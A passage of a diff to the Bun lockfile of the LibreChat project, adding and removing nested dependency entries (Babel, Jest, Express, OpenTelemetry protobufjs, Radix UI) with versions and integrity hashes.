- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
"@librechat/frontend/@react-spring/web/@react-spring/animated": ["@react-spring/animated@9.7.5", "", { "dependencies": { "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg=="],
@@ -7121,31 +7023,49 @@
"@librechat/frontend/@testing-library/jest-dom/dom-accessibility-api": ["dom-accessibility-api@0.5.16", "", {}, "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg=="],
+ "@librechat/frontend/@testing-library/jest-dom/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+
+ "@librechat/frontend/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"@librechat/frontend/framer-motion/motion-dom": ["motion-dom@11.18.1", "", { "dependencies": { "motion-utils": "^11.18.1" } }, "sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw=="],
"@librechat/frontend/framer-motion/motion-utils": ["motion-utils@11.18.1", "", {}, "sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA=="],
- "@librechat/frontend/jest-environment-jsdom/@jest/environment": ["@jest/environment@29.7.0", "", { "dependencies": { "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/node": "*", "jest-mock": "^29.7.0" } }, "sha512-aQIfHDq33ExsN4jP1NWGXhxgQ/wixs60gDiKO+XVMd8Mn0NWPWgc34ZQDTb2jKaUWQ7MuwoitXAsN2XVXNMpAw=="],
-
- "@librechat/frontend/jest-environment-jsdom/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "@librechat/frontend/jest-environment-jsdom/@types/jsdom": ["@types/jsdom@20.0.1", "", { "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", "parse5": "^7.0.0" } }, "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom": ["jsdom@20.0.3", "", { "dependencies": { "abab": "^2.0.6", "acorn": "^8.8.1", "acorn-globals": "^7.0.0", "cssom": "^0.5.0", "cssstyle": "^2.3.0", "data-urls": "^3.0.2", "decimal.js": "^10.4.2", "domexception": "^4.0.0", "escodegen": "^2.0.0", "form-data": "^4.0.0", "html-encoding-sniffer": "^3.0.0", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.1", "is-potential-custom-element-name": "^1.0.1", "nwsapi": "^2.2.2", "parse5": "^7.1.1", "saxes": "^6.0.0", "symbol-tree": "^3.2.4", "tough-cookie": "^4.1.2", "w3c-xmlserializer": "^4.0.0", "webidl-conversions": "^7.0.0", "whatwg-encoding": "^2.0.0", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0", "ws": "^8.11.0", "xml-name-validator": "^4.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-SYhBvTh89tTfCD/CRdSOm13mOBa42iTaTyfyEWBdKcGdPxPtLFBXuHR8XHb33YNYaP+lLbmSvBTsnoesCNJEsQ=="],
-
"@mcp-ui/client/@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
+
"@mcp-ui/client/@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
+ "@mcp-ui/client/@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+
"@modelcontextprotocol/sdk/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
"@node-saml/passport-saml/@types/express/@types/express-serve-static-core": ["@types/express-serve-static-core@4.19.6", "", { "dependencies": { "@types/node": "*", "@types/qs": "*", "@types/range-parser": "*", "@types/send": "*" } }, "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A=="],
"@node-saml/passport-saml/@types/express/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="],
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
"@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
@@ -7153,12 +7073,22 @@
"@radix-ui/react-checkbox/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
+ "@radix-ui/react-dialog/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-dropdown-menu/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-FUCf5XMfmW4dtYl69pdS4DbxKy8nj4M7SafBgPllysxmdachynNflAdp/gCsnYWNDnge6tI9onzMp5ARYc1KNw=="],
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
+ "@radix-ui/react-focus-scope/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="],
"@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg=="],
@@ -7199,8 +7129,12 @@
"@radix-ui/react-popper/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
"@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.2", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-YAKxaiGsSQJ38VzKH86/BPRC4rh+b1Jpa+JneA5LRE7skmLPNAyeG8kPJj/oo4STLvlrs8vkf/iYyc3A5stYCQ=="],
+ "@radix-ui/react-select/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
+
"@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="],
